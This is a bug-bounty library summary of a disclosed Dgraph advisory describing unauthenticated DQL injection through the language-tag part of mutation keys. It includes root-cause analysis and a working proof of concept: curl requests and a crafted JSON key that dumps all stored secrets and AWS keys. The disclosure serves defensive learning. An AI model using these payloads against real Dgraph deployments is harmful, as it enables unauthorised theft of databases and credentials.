# Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in NQuad Lang Field

Unauthenticated DQL injection via unsanitized NQuad language tag in Dgraph's addQueryIfUnique lets an attacker exfiltrate the entire database in two HTTP requests.

- Payout: Research
- Severity: critical
- Program: Dgraph
- Found by: VladimirEliTokarev
- Disclosed: 2026-04-24
- CVE: CVE-2026-41328
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-x92x-px7w-4gx4
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-x92x-px7w-4gx4
- Tags: area:web domain:api impact:data-leak kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:auth-bypass vuln:sqli

**Target:** Dgraph Alpha HTTP API (/alter, /mutate) on port 8080
**Root cause:** x.PredicateLang splits mutation keys on '@' and returns the raw suffix as Lang with no validation; validateKeys only checks Predicate, and addQueryIfUnique interpolates the raw Lang into a DQL query via fmt.Sprintf.
**Steps:**
1. POST /alter with `name: string @unique @index(exact) @lang .` (no auth in default config).
2. POST /mutate?commitNow=true with JSON key `name@en,"x")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #`.
3. PredicateLang splits on last '@': Predicate=`name` (passes validation), Lang=`en,"x")) leak(...) } } #`.
4. addQueryIfUnique builds `__dgraph_uniquecheck_0__ as var(func: eq(<name>@en,"x"))` plus injected `leak(...)` block; `#` comments out trailing template.
5. DQL parser accepts both blocks; authorizeQuery returns nil (ACL disabled); leak results returned in `data.queries.leak`.
**How found:** Code review of the mutation path: noticed PredicateLang splits on '@' without validation, validateKeys only checks Predicate, and addQueryIfUnique interpolates the raw Lang into DQL via fmt.Sprintf.
**Exploitation:** Two unauthenticated HTTP POSTs to port 8080: /alter to create a @unique @index(exact) @lang predicate, then /mutate with a crafted JSON key whose language tag closes the eq() call, injects a named `leak(func: has(dgraph.type))` block, and comments out trailing syntax. The uniqueness check passes and the injected query's results are returned in the mutation response.
**Insight:** When a parser splits a key on a delimiter and only validates the left side, the right side becomes an injection surface into any downstream query builder; check every field derived from user input, not just the primary one.

## Proof of concept (copied exactly from the original report)

**Curl mutation with DQL injection payload**

```
curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \
  -H 'Content-Type: application/json' \
  -d '{"set":[
    {"dgraph.type":"Person","name":"Alice","email":"alice@example.com","secret":"s3cr3t_alice"},
    {"dgraph.type":"Admin","name":"root","email":"admin@internal","secret":"ADMIN_MASTER_KEY"},
    {"dgraph.type":"ServiceAccount","name":"prod-s3-backup","aws_access_key_id":"[redacted]","aws_secret_access_key":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}
  ]}'

# Exploit: single request exfiltrates everything
curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \
  -H 'Content-Type: application/json' \
  -d '{"set":[{"uid":"_:x","name@en,\"x\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #":"anything"}]}' \
  | python3 -m json.tool
```

**Injected JSON mutation key payload**

```
{
  "set": [{
    "uid": "_:inject",
    "name@en,\"x\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #": "anything"
```

**Schema alter request enabling @unique @lang**

```
POST /alter HTTP/1.1
Host: TARGET:8080

name: string @unique @index(exact) @lang .
```

